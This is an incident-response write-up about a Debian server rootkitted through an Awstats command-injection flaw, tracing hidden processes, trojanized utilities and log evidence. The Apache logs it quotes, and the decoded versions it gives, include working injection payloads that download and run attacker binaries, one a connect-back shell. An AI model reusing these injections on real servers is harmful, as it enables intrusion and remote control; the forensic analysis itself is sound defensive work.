Last Updated: Saturday March 12, 2005
Michael Ligh (michael.ligh@mnin.org)
Thanks to SANS for linking here from their Diary on March 14, 2005
View Matt's SoTM 29 Paper on honeynet.org
Alright so after the last rootkit, another one might seem a little boring. There are differences, however, including the exploited operating system: Debian Linux on a 2.4.x kernel. There are even some coincidences of the non-technical nature such as following the information path to a paper written by my boss 2 years ago.
Please take a break and either verify or implement your egress filtering. On this occassion and another (on my own machine), egress filtering was either the reason why an attack failed or the reason it succeeded. In fact, as a defense against these two attacks, I would have chosen it over inbound filtering.
The owner's diagnosis was rootkit, judging by an open 400-something port and some hidden processes (later determined to be chkrootkit output). The server's public internet connection was plucked, which left it accessible only by routing through a trusted device in the middle (ssh proxy more-or-less).
The first thing that caught my attention was chkrootkit in a user's home directory. Chrootkit is used to detect common patterns that rook kits can leave in memory (hard disk or ram). In hindsight, executing it was probably not a smart first move (maybe 10th or 11th, but not first), however it worked in our favor this time. (Alternately, click here for the advanced output.)
# ./chkrootkit > chkrootkit.output ROOTDIR is `/' Checking `ls'... INFECTED Checking `netstat'... INFECTED Checking `ps'... INFECTED Checking `top'... INFECTED Checking `aliens'... /dev/ttyop /dev/ttyoa Checking `bindshell'... INFECTED (PORTS: 465) Checking `lkm'... You have 10 process hidden for ps command chkproc: Warning: Possible LKM Trojan installed
The instant gratification is bliss - 10 hidden processes, 4 trojanized system utilities. along with two suspicious items in /dev, and a listening socket on TCP 465. Though netstat is supposedly one of the trojanized utilities, it does show a listener on 465. However, to my dismay, the trojanized copy of netstat didn't have a -p flag built in. So not only could we not get a legitimate process list from netstat, we couldn't even get an illegitimate one. Here's the best we can do, with lsof to cross-reference:
# netstat -an | less Active Internet connections (including servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 10.0.0.2:22 10.0.0.1:33048 ESTABLISHED tcp 0 0 10.0.0.2:22 10.0.0.1:33110 ESTABLISHED tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:5432 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN tcp 0 0 10.0.0.2:53 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:465 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:143 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:110 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:995 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:8001 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:993 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN udp 0 0 0.0.0.0:8000 0.0.0.0:* udp 0 0 127.0.0.1:53 0.0.0.0:* udp 0 0 0.0.0.0:53 0.0.0.0:* udp 0 0 10.0.0.2:53 0.0.0.0:* udp 0 0 127.0.0.1:32768 127.0.0.1:32768 ESTABLISHED # lsof -i > lsof_i.output COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME named 337 root 4u IPv4 589 UDP *:domain named 337 root 20u IPv4 585 UDP localhost:domain named 337 root 21u IPv4 586 TCP localhost:domain (LISTEN) named 337 root 24u IPv4 14213 UDP 10.0.0.2:domain named 337 root 25u IPv4 14214 TCP 10.0.0.2:domain (LISTEN) icecast 346 icecast 0u IPv4 737 TCP *:8000 (LISTEN) icecast 346 icecast 1u IPv4 738 TCP *:8001 (LISTEN) icecast 346 icecast 10u IPv4 746 UDP *:8000 icecast 348 icecast 0u IPv4 737 TCP *:8000 (LISTEN) icecast 348 icecast 1u IPv4 738 TCP *:8001 (LISTEN) icecast 348 icecast 10u IPv4 746 UDP *:8000 icecast 349 icecast 0u IPv4 737 TCP *:8000 (LISTEN) icecast 349 icecast 1u IPv4 738 TCP *:8001 (LISTEN) icecast 349 icecast 10u IPv4 746 UDP *:8000 icecast 350 icecast 0u IPv4 737 TCP *:8000 (LISTEN) icecast 350 icecast 1u IPv4 738 TCP *:8001 (LISTEN) icecast 350 icecast 10u IPv4 746 UDP *:8000 icecast 351 icecast 0u IPv4 737 TCP *:8000 (LISTEN) icecast 351 icecast 1u IPv4 738 TCP *:8001 (LISTEN) icecast 351 icecast 10u IPv4 746 UDP *:8000 mysqld 400 mysql 3u IPv4 947 TCP *:mysql (LISTEN) mysqld 408 mysql 3u IPv4 947 TCP *:mysql (LISTEN) mysqld 409 mysql 3u IPv4 947 TCP *:mysql (LISTEN) mysqld 410 mysql 3u IPv4 947 TCP *:mysql (LISTEN) postmaste 479 postgres 3u IPv4 1218 TCP *:postgresql (LISTEN) postmaste 479 postgres 5u IPv4 1223 UDP localhost:32768->localhost:32768 postmaste 484 postgres 5u IPv4 1223 UDP localhost:32768->localhost:32768 stunnel 505 root 6u IPv4 1328 TCP *:imaps (LISTEN) stunnel 508 root 6u IPv4 1339 TCP *:pop3s (LISTEN) stunnel 511 root 6u IPv4 1342 TCP *:ssmtp (LISTEN) couriertc 528 root 5u IPv4 1368 TCP *:imap2 (LISTEN) proftpd 539 nobody 0u IPv4 1397 TCP *:ftp (LISTEN) apache 550 root 22u IPv4 1467 TCP *:www (LISTEN) tcpserver 578 qmaild 3u IPv4 1515 TCP *:smtp (LISTEN) tcpserver 584 root 3u IPv4 1512 TCP *:pop3 (LISTEN) apache 588 www-data 22u IPv4 1467 TCP *:www (LISTEN) apache 589 www-data 22u IPv4 1467 TCP *:www (LISTEN) apache 590 www-data 22u IPv4 1467 TCP *:www (LISTEN) apache 591 www-data 22u IPv4 1467 TCP *:www (LISTEN) apache 592 www-data 22u IPv4 1467 TCP *:www (LISTEN) stunnel 645 root 6u IPv4 1342 TCP *:ssmtp (LISTEN) apache 2672 www-data 22u IPv4 1467 TCP *:www (LISTEN) sshd 11718 root 3u IPv4 40664 TCP *:ssh (LISTEN) sshd 15381 root 4u IPv4 280383 TCP 10.0.0.2:ssh->10.0.0.1:33048 (ESTABLISHED) sshd 15387 root 4u IPv4 280383 TCP 10.0.0.2:ssh->10.0.0.1:33048 (ESTABLISHED) sshd 15392 michali 4u IPv4 280383 TCP 10.0.0.2:ssh->10.0.0.1:33048 (ESTABLISHED)
Alternately, the full lsof output can be viewed here.
For the most part, these two agree, but the number of open well-known server ports exceeds what I would have expected. stunnel and tcpserver aren't suspicious per se, but in this situation, they threw up a flag; the server seems to be running pretty much all of the services ever known to be involved in an exploit (maybe not "ever known", but close). We've got support for FTP, SSH, HTTP Proxy, DNS, SMTP, IMAP, IMAPS, POP3, POP3S, SSMTP, Postgresql and MySQL. Note this does not indicate that there is an actual secure IMAP server running, just that _a_ process is listening on the port normally associated with secure IMAP.
Two schools of thought clash here with port numbers. Backdoors can listen on high ports (such as 31337 and 12345) to stay hidden from non-aggressive port scans and avoid bind collisions with already listening processes; or if root acess hasn't already been established. In this case we see the trojanized process bind to well-known server ports all below 1024, which gives the attacker a better chance to connect back into the compromised system through any firewalls (110 for POP3 is more likely to be open incoming than 12345).
For those of us accustomed to NMAP output, here it is:
# nmap -T insane -O -P0 -p 1-65535 localhost Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2005-03-12 15:44 EST Interesting ports on localhost (127.0.0.1): (The 65521 ports scanned but not shown below are in state: closed) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 25/tcp open smtp 53/tcp open domain 80/tcp open http 110/tcp open pop3 143/tcp open imap 465/tcp open smtps 993/tcp open imaps 995/tcp open pop3s 3306/tcp open mysql 5432/tcp open postgres 8000/tcp open http-alt 8001/tcp open unknown Device type: general purpose Running: Linux 2.4.X|2.5.X OS details: Linux 2.4.0 - 2.5.20 Uptime 0.937 days (since Fri Mar 11 17:14:54 2005) Nmap run completed -- 1 IP address (1 host up) scanned in 26.428 seconds
The next step was to figure out which processes were "hiding" and which of the identified services are trojanized. The ls and ps binaries are suspected of being non-trusted, though we are not sure the degree of infection (a trojanized ls could format the drive or just hide a few named processes from the output). The safe thing to do would be mount the filesystem RO and examine with known good tools, but it wasn't an option in this case. The machine is in Virginia. With two commands we got a list of processes identified in /proc and by ps; the comparison should show some discrepancies.
# ls -d /proc/[1-9]* | sed 's/\/proc\///g' > process_proc_list.output
# ps aux | awk '{print $2}' > process_ls_list.output
A quick perl script found the intersection of the PIDs from the previous two commands. Here is the script and then the output:
#!/usr/bin/perl
open(A,"process_proc_list.outputt") or die "no proc: $!";
open(B,"process_ps_list.output") or die "no ps: $!";
while() { $proc{$_} = 1; }
while() { $ps{$_} = 1; }
foreach $pid (keys %proc) {
next if (exists($ps{$pid}));
push @onlyproc, $pid;
}
foreach $pid (keys %ps) {
next if (exists($proc{$pid}));
push @onlyps, $pid;
}
close(A); close(Z);
print "\n\n** Only Proc **\n\n";
foreach (@onlyproc) { print "$_"; }
print "\n\n** Only Ps **\n\n";
foreach (@onlyps) { print "$_"; }
# perl intersection.pl > intersection.output ** Only Proc ** 4 15387 4450 568 15392 15381 4449 4451 562 11718 ** Only Ps ** 4481 4482 4480
This shows 10 potential PIDs of processes that are being filtering by ps. Here is the /proc directory listing for those PIDs:
# for i in 4 15387 4450 658 15392 15381 4449 562 11718; do echo "** PID $i **"; ls -al /proc/$i/; echo; done > lsproc.output ** PID 4 ** total 0 dr-xr-xr-x 3 root root 0 Mar 12 19:43 . dr-xr-xr-x 100 root root 0 Mar 11 12:14 .. -r--r--r-- 1 root root 0 Mar 12 19:43 cmdline lrwxrwxrwx 1 root root 0 Mar 12 19:43 cwd -> / -r-------- 1 root root 0 Mar 12 19:43 environ lrwxrwxrwx 1 root root 0 Mar 12 19:43 exe dr-x------ 2 root root 0 Mar 12 19:43 fd -r--r--r-- 1 root root 0 Mar 12 19:43 maps -rw------- 1 root root 0 Mar 12 19:43 mem -r--r--r-- 1 root root 0 Mar 12 19:43 mounts lrwxrwxrwx 1 root root 0 Mar 12 19:43 root -> / -r--r--r-- 1 root root 0 Mar 12 19:43 stat -r--r--r-- 1 root root 0 Mar 12 19:43 statm -r--r--r-- 1 root root 0 Mar 12 19:43 status ** PID 15387 ** total 0 dr-xr-xr-x 3 root root 0 Mar 12 19:43 . dr-xr-xr-x 100 root root 0 Mar 11 12:14 .. -r--r--r-- 1 root root 0 Mar 12 19:43 cmdline lrwxrwxrwx 1 root root 0 Mar 12 19:43 cwd -> / -r-------- 1 root root 0 Mar 12 19:43 environ lrwxrwxrwx 1 root root 0 Mar 12 19:43 exe -> /usr/sbin/sshd dr-x------ 2 root root 0 Mar 12 19:43 fd -r--r--r-- 1 root root 0 Mar 12 19:43 maps -rw------- 1 root root 0 Mar 12 19:43 mem -r--r--r-- 1 root root 0 Mar 12 19:43 mounts lrwxrwxrwx 1 root root 0 Mar 12 19:43 root -> / -r--r--r-- 1 root root 0 Mar 12 19:43 stat -r--r--r-- 1 root root 0 Mar 12 19:43 statm -r--r--r-- 1 root root 0 Mar 12 19:43 status ** PID 4450 ** ** PID 658 ** ** PID 15392 ** total 0 dr-xr-xr-x 3 michali users 0 Mar 12 19:43 . dr-xr-xr-x 100 root root 0 Mar 11 12:14 .. -r--r--r-- 1 root root 0 Mar 12 19:43 cmdline lrwxrwxrwx 1 root root 0 Mar 12 19:43 cwd -> / -r-------- 1 root root 0 Mar 12 19:43 environ lrwxrwxrwx 1 root root 0 Mar 12 19:43 exe -> /usr/sbin/sshd dr-x------ 2 root root 0 Mar 12 19:43 fd -r--r--r-- 1 root root 0 Mar 12 19:43 maps -rw------- 1 root root 0 Mar 12 19:43 mem -r--r--r-- 1 root root 0 Mar 12 19:43 mounts lrwxrwxrwx 1 root root 0 Mar 12 19:43 root -> / -r--r--r-- 1 root root 0 Mar 12 19:43 stat -r--r--r-- 1 root root 0 Mar 12 19:43 statm -r--r--r-- 1 root root 0 Mar 12 19:43 status ** PID 15381 ** total 0 dr-xr-xr-x 3 root root 0 Mar 12 19:43 . dr-xr-xr-x 100 root root 0 Mar 11 12:14 .. -r--r--r-- 1 root root 0 Mar 12 19:43 cmdline lrwxrwxrwx 1 root root 0 Mar 12 19:43 cwd -> / -r-------- 1 root root 0 Mar 12 19:43 environ lrwxrwxrwx 1 root root 0 Mar 12 19:43 exe -> /usr/sbin/sshd dr-x------ 2 root root 0 Mar 12 19:43 fd -r--r--r-- 1 root root 0 Mar 12 19:43 maps -rw------- 1 root root 0 Mar 12 19:43 mem -r--r--r-- 1 root root 0 Mar 12 19:43 mounts lrwxrwxrwx 1 root root 0 Mar 12 19:43 root -> / -r--r--r-- 1 root root 0 Mar 12 19:43 stat -r--r--r-- 1 root root 0 Mar 12 19:43 statm -r--r--r-- 1 root root 0 Mar 12 19:43 status ** PID 4449 ** ** PID 562 ** total 0 dr-xr-xr-x 3 root root 0 Mar 12 19:43 . dr-xr-xr-x 100 root root 0 Mar 11 12:14 .. -r--r--r-- 1 root root 0 Mar 12 19:43 cmdline lrwxrwxrwx 1 root root 0 Mar 12 19:43 cwd -> / -r-------- 1 root root 0 Mar 12 19:43 environ lrwxrwxrwx 1 root root 0 Mar 12 19:43 exe -> /bin/bash dr-x------ 2 root root 0 Mar 12 19:43 fd -r--r--r-- 1 root root 0 Mar 12 19:43 maps -rw------- 1 root root 0 Mar 12 19:43 mem -r--r--r-- 1 root root 0 Mar 12 19:43 mounts lrwxrwxrwx 1 root root 0 Mar 12 19:43 root -> / -r--r--r-- 1 root root 0 Mar 12 19:43 stat -r--r--r-- 1 root root 0 Mar 12 19:43 statm -r--r--r-- 1 root root 0 Mar 12 19:43 status ** PID 11718 ** total 0 dr-xr-xr-x 3 root root 0 Mar 12 19:43 . dr-xr-xr-x 100 root root 0 Mar 11 12:14 .. -r--r--r-- 1 root root 0 Mar 12 19:43 cmdline lrwxrwxrwx 1 root root 0 Mar 12 19:43 cwd -> / -r-------- 1 root root 0 Mar 12 19:43 environ lrwxrwxrwx 1 root root 0 Mar 12 19:43 exe -> /usr/sbin/sshd dr-x------ 2 root root 0 Mar 12 19:43 fd -r--r--r-- 1 root root 0 Mar 12 19:43 maps -rw------- 1 root root 0 Mar 12 19:43 mem -r--r--r-- 1 root root 0 Mar 12 19:43 mounts lrwxrwxrwx 1 root root 0 Mar 12 19:43 root -> / -r--r--r-- 1 root root 0 Mar 12 19:43 stat -r--r--r-- 1 root root 0 Mar 12 19:43 statm -r--r--r-- 1 root root 0 Mar 12 19:43 status
This further strengthens the assumption that our system has been victim to a rootkit. I'll let that solidify while we check out the 4 system utilities that were reported trojanized.
# which ps ls netstat top > which.output /bin/ps /bin/ls /bin/netstat /usr/bin/top # md5sum /bin/ls /bin/ps /usr/bin/top /bin/netstat > md5sum.output 9e7165f965254830d0525fda3168fd7d /bin/ls a71c756f78583895afe7e03336686f8b /bin/ps 58a7e5abe4b01923c619aca3431e13a8 /usr/bin/top c0e8b6ff00433730794eda274c56de3f /bin/netstat # stat /bin/ls /bin/ps /usr/bin/top /bin/netstat > stat.output File: `/bin/ls' Size: 36692 Blocks: 72 IO Block: 4096 regular file Device: 801h/2049d Inode: 239350 Links: 1 Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2005-02-08 17:09:36.000000000 -0500 Modify: 2003-07-15 03:44:05.000000000 -0400 Change: 2005-02-08 17:10:49.000000000 -0500 File: `/bin/ps' Size: 32756 Blocks: 64 IO Block: 4096 regular file Device: 801h/2049d Inode: 239284 Links: 1 Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2005-02-08 17:09:36.000000000 -0500 Modify: 2003-07-15 03:44:05.000000000 -0400 Change: 2005-02-08 17:10:49.000000000 -0500 File: `/usr/bin/top' Size: 48856 Blocks: 96 IO Block: 4096 regular file Device: 801h/2049d Inode: 414301 Links: 1 Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2005-02-08 17:09:36.000000000 -0500 Modify: 2003-07-15 03:44:05.000000000 -0400 Change: 2005-02-08 17:10:49.000000000 -0500 File: `/bin/netstat' Size: 30640 Blocks: 64 IO Block: 4096 regular file Device: 801h/2049d Inode: 238600 Links: 1 Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2005-02-08 17:09:36.000000000 -0500 Modify: 2003-07-15 03:44:05.000000000 -0400 Change: 2005-02-08 17:10:49.000000000 -0500
The first two commands are mildly informational, but the third just hurts. The C-time of all 4 processes match to the second. At 5:10:49 PM EST on February 8th 2005, all or part of these files were replaced by code supplied by an attacker.
Looking for some quick answers, I googled the MD5 value for netstat (c0e8b6ff00433730794eda274c56de3f) and found it on one of honeyet.org's Scan Of The Month challenges. The clues in this analysis made several things very clear.
First, the devices reported in chkrootkit as "aliens" show up in the strings output of the trojanized files, so they warrent some investigation. Well, they exist:
# ls -al ttyoa ttyop ttyof > ls_tty.output -rwxr-xr-x 1 sanitized uucp 114 Jan 23 22:11 ttyoa -rwxr-xr-x 1 sanitized uucp 78 Jan 23 22:10 ttyof -rwxr-xr-x 1 sanitized uucp 93 Jan 23 22:10 ttyop No other items in the /dev directory are owned by that user:
# find -type f -user sanitized > find_user_tty.output ./ttyop ./ttyoa ./ttyof
The C-time on these files are identical to ls, ps, top, and netstat:
# stat ttyoa ttyop ttyof > stat_tty.output File: `ttyoa' Size: 114 Blocks: 8 IO Block: 4096 regular file Device: 801h/2049d Inode: 47867 Links: 1 Access: (0755/-rwxr-xr-x) Uid: ( 1001/ sanitized) Gid: ( 10/ uucp) Access: 2005-02-08 17:09:36.000000000 -0500 Modify: 2005-01-23 22:11:45.000000000 -0500 Change: 2005-02-08 17:10:49.000000000 -0500 File: `ttyop' Size: 93 Blocks: 8 IO Block: 4096 regular file Device: 801h/2049d Inode: 47866 Links: 1 Access: (0755/-rwxr-xr-x) Uid: ( 1001/ sanitized) Gid: ( 10/ uucp) Access: 2005-02-08 17:09:36.000000000 -0500 Modify: 2005-01-23 22:10:57.000000000 -0500 Change: 2005-02-08 17:10:49.000000000 -0500 File: `ttyof' Size: 78 Blocks: 8 IO Block: 4096 regular file Device: 801h/2049d Inode: 47868 Links: 1 Access: (0755/-rwxr-xr-x) Uid: ( 1001/ sanitized) Gid: ( 10/ uucp) Access: 2005-02-08 17:09:36.000000000 -0500 Modify: 2005-01-23 22:10:13.000000000 -0500 Change: 2005-02-08 17:10:49.000000000 -0500
The files all contain suspicious looking content. Ttyoa contains netblocks and ports that netstat should not display. Ttyop contains a list of processes for ps to hide. Ttyof contains a list of items that ls should hide. Seek, anyone?
# (echo "** Cat ttyoa **"; cat ttyoa; echo; echo "** Cat ttyop **"; cat ttyop; echo; echo "** Cat ttyof **"; cat ttyof; echo) > cat_tty.output ** Cat ttyoa ** 2 213.233 2 217.10 2 193.231 2 80.97 2 83.34 3 6667 4 6667 3 7999 4 7999 3 31337 4 31337 3 512 4 512 3 7971 4 7971 ** Cat ttyop ** 3 swapd 3 psybnc 3 sl2 3 sl3 3 smbd 3 uptime 3 x2 3 startwu 3 scan 3 r00t 3 ssh 3 .b0t 3 .hpd ** Cat ttyof ** psbnc smbd iceconf.h icekey.h icepid.h uptime startwu r00t sshf real .b0t bash
My first idea was to move or edit ttyop and run the trojanized ps again (to see how effective it would be without the "config" file). According to the file permissions (-rwxr-xr-x), root should be able to do either action, however they both failed:
vi: Warning: Changing a readonly file # mv /dev/ttyoa /dev/ttyoa.old mv: cannot move `/dev/ttyoa' to `/dev/ttyoa.old': Operation not permitted
The files had enhanced attributes set, including the i (immutable) file, which prevents even root from disturbing them.
# lsattr /dev/ttyoa /dev/ttyof /dev/ttyop > lsattr_tty.output suS-iadAc-------- /dev/ttyoa suS-iadAc-------- /dev/ttyof suS-iadAc-------- /dev/ttyop
We can clear that up pretty easily:
# chattr -suSiadAc /dev/ttyoa /dev/ttyof /dev/ttyop; lsattr /dev/ttyoa /dev/ttyof /dev/ttyop ----------------- /dev/ttyoa ----------------- /dev/ttyof ----------------- /dev/ttyop
We obviously wouldn't want to do this if evidence we gather is going to be legally challenged, but in this case it won't be. I moved /dev/ttyoa to /dev/ttyoa.old, and populated a new /dev/ttyoa with some of the ports that _should_ have been open (21, 22, 25, 53, 80, 8000, 8001, 5243). Now check out the netstat output:
Active Internet connections (including servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:465 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:143 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:110 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:995 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:993 0.0.0.0:* LISTEN
Note this isn't proof (or even a hypothesis) that the remaining open ports are trojanized, it's only proves the effect that /dev/ttyoa has on netstat output and shows why you can't trust a rootkit victim. At this time, I had hit the end of the existing analysis and went straight to honeynet.org for more information on Scan Of The Month 29. Much to my surprise, I recognized that one of the top 5 submittions was written by someone with the same name as my boss. One click later that was no longer a question, I had been investigating a variant of the same linux rootkit that my boss researched two years ago as part of a SOTM challenge.
After learning that I ate some chocolate and drank some Gatorade. When I finally started believing it, I got back to work.
The puzzle is nearly complete, but it's missing a critical section - the beginning. We don't know what the initial infection vector was. A weak root password? Vulerable server software? Vulnerable client software? Vulnerable underwear? Just keeping you awake ;-P
For a starting point, I took the C-time date of Febuary 8th and went digging into Apache logs. One of the files covered periods between Febuary 2nd and March 11. I started witht the error_log and quickly came across a section that was pretty ugly:
[Sun Feb 6 08:05:18 2005] [error] [client 217.172.168.109] request failed: erroneous characters after protocol string: GET //usage/ cgi-bin/awstats.pl?configdir=|%20i
d%20| HTTP/1.1
[Sun Feb 6 08:05:18 2005] [error] [client 217.172.168.109] File does not exist: /var/www/sanitized//usage/cgi-bin/awstats.pl
--08:06:37-- http://lightb.home.ro/zbind
=> `zbind'
Resolving lightb.home.ro... 81.196.20.133
Connecting to lightb.home.ro[81.196.20.133]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18,907 [text/plain]
0K .......... ........ 100% 48.62 KB/s
08:06:39 (48.62 KB/s) - `zbind' saved [18907/18907]
sh: /awstats.ns.sanitized.conf: No such file or directory
--08:06:44-- http://lightb.home.ro/zbind
=> `zbind.1'
Resolving lightb.home.ro... 81.196.20.133
Connecting to lightb.home.ro[81.196.20.133]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18,907 [text/plain]
0K .......... ........ 100% 63.70 KB/s
08:06:45 (63.70 KB/s) - `zbind.1' saved [18907/18907]
bind: Address already in use
sh: /awstats.ns.sanitized.conf: No such file or directory
sh: /awstats.ns.fsanitized.conf: No such file or directory
[Sun Feb 6 09:32:50 2005] [error] [client 217.172.168.109] script not found or unable to stat: /var/www/cgi-bin/awstats
[Sun Feb 6 09:32:50 2005] [error] [client 217.172.168.109] file permissions deny server execution: /var/www/cgi-bin/awstats.pl
[Sun Feb 6 09:32:50 2005] [error] [client 217.172.168.109] File does not exist: /var/www/sanitized//cgi/awstats.pl
YES, that is wget output in an Apache error log! In the background noise you can see some bourne shell output and a complaint that a particular TCP or UDP port was already in use. Notice everything is surrounded by Awstats requests. Being a user myself, I paid good attention to the advisories on SANS on January 31 and March 3.
These indicate some recent vulnerabilities in the application, and give sample query strings to exploit those versions. With that, we can look for more specific content in the access log.
65.39.177.214 - - [06/Feb/2005:08:06:39 -0500] "GET /cgi-bin/awstats.pl?configdir=%7c%20cd%20%2fvar%2ftmp%3bwget%20lightb.home.ro%2fzbind%3bchmod%20%2bx%20zbind%3b.%2f zbind%20%7c%20 HTTP/1.1" 200 396 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts)" 64.62.131.10 - - [09/Feb/2005:13:38:58 -0500] "GET /cgi-bin/awstats.pl?configdir=%20%7c%20cd%20%2fvar%2ftmp%20%3b%20wget%20piticanie.org%2fcback%20%3bchmod%20%2bx%20cb ack%20%3b%20.%2fcback%2064.62.131.14%20%2081%20%20%7c%20 HTTP/1.1" 403 294 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts)" 65.71.130.226 - - [15/Feb/2005:22:12:23 -0500] "GET /cgi-bin/awstats/awstats.pl?configdir=%20%7c%20cd%20%2fvar%2ftmp%3bwget%20piticanie.org%2fcback%3bchmod%20%2bx%20cb ack%3b.%2fcback%2065.71.130.226%20%2081%20%20%7c%20 HTTP/1.1" 404 298 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts)" 65.71.130.226 - - [05/Mar/2005:22:55:36 -0500] "GET /awstats/awstats.pl?configdir=|echo;echo+DTORS_START;id;echo+DTORS_STOP;echo|" 404 - "-" "-" 65.71.130.226 - - [05/Mar/2005:22:55:39 -0500] "GET /awstats/awstats.pl?pluginmode=:system(\"echo+DTORS_START;id;echo+DTORS_STOP\");" 404 - "-" "-" 65.71.130.226 - - [05/Mar/2005:22:55:49 -0500] "GET /awstats/awstats.pl?configdir=|echo;echo+DTORS_START;id;echo+DTORS_STOP;echo|" 404 - "-" "-" 65.71.130.226 - - [05/Mar/2005:22:55:57 -0500] "GET /cgi-bin/awstats.pl?configdir=|echo;echo+DTORS_START;id;echo+DTORS_STOP;echo|" 403 - "-" "-" 65.71.130.226 - - [05/Mar/2005:22:56:00 -0500] "GET /cgi-bin/awstats.pl?pluginmode=:system(\"echo+DTORS_START;id;echo+DTORS_STOP\");" 403 - "-" "-"
Through the unicode, we can interpret the commands that were run:
GET /cgi-bin/awstats.pl?configdir=| cd /var/tmp;wget lightb.home.ro/zbind;chmod +x zbind;./zbind | GET /cgi-bin/awstats.pl?configdir= | cd /var/tmp;wget piticanie.org/cback;chmod +x cback;./cback 64.62.131.14 81 |
The basic idea is to call "awstats.pl?confidir=|[code]" on a vulerable server. From this one log file, we see attempts, several days apart, to exploit the same weekness in different ways. For example, the first incident on Febuary 6 used wget to fetch a remote binary and then execute it. It obviously worked because we saw the wget output in error_log. The second attempt grabbed a binary from elsewhere and passed it an IP and port number to connect back.Take another break and check your egress filtering, I'm not kidding...
# host lightb.home.ro
lightb.home.ro has address 81.196.20.133
# host piticanie.org
piticanie.org has address 66.98.168.75
# wget lightb.home.ro/zbind
--18:35:57-- http://lightb.home.ro/zbind
=> `zbind'
Resolving lightb.home.ro... 81.196.20.133
Connecting to lightb.home.ro[81.196.20.133]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18,907 [text/plain]
100%[=======================================================================>] 18,907 --.--K/s
18:35:57 (1.55 MB/s) - `zbind' saved [18907/18907]
# wget piticanie.org/cback
--18:36:20-- http://piticanie.org/cback
=> `cback'
Resolving piticanie.org... 66.98.168.75
Connecting to piticanie.org[66.98.168.75]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 430,072 [text/plain]
100%[=======================================================================>] 430,072 1.17M/s
18:36:20 (1.17 MB/s) - `cback' saved [430072/430072]
# file zbind cback
zbind: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked (uses shared libs), not stripped
cback: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, statically linked, stripped
# md5sum zbind cback
7e651f1334dbea3f7aba87f7bc03a8b8 zbind
0f3e85d38b1bb6f66fc9075f48c9b7ca cback
The server was successfully attacked, possibly several times, over a period of several weeks. The vulerable software was Awstats. Four basic system utilities were trojanized to hide data from administrators, remote access shells were listening on all interfaces and hiding from process listings. There were some immutable files, some deleted files, a quartet of matching C-times, trio of "alien" devices, pair of awesome logfiles, and proof that the world really is a small place.
There was a "/usr/sbin/smbd -D" with an MD5 of 321efe7ac31bb0bd294f982e3819db36, similar to the SOTM 29 analysis. There were logfiles from the psyBNC IRC client being installed and interacting with the attackers and other rooted systems (like in the SOTM 29 analysis). Click here to see the contents. The IRC process was listening on 6668 and established the most connections with 81.181.0.45, owned by an ISP in Romania (like in the SOTM 29 analysis). The only major difference was the initial exploit of Awstats to get things rolling.
For the other excellent papers on this rootkit, go here: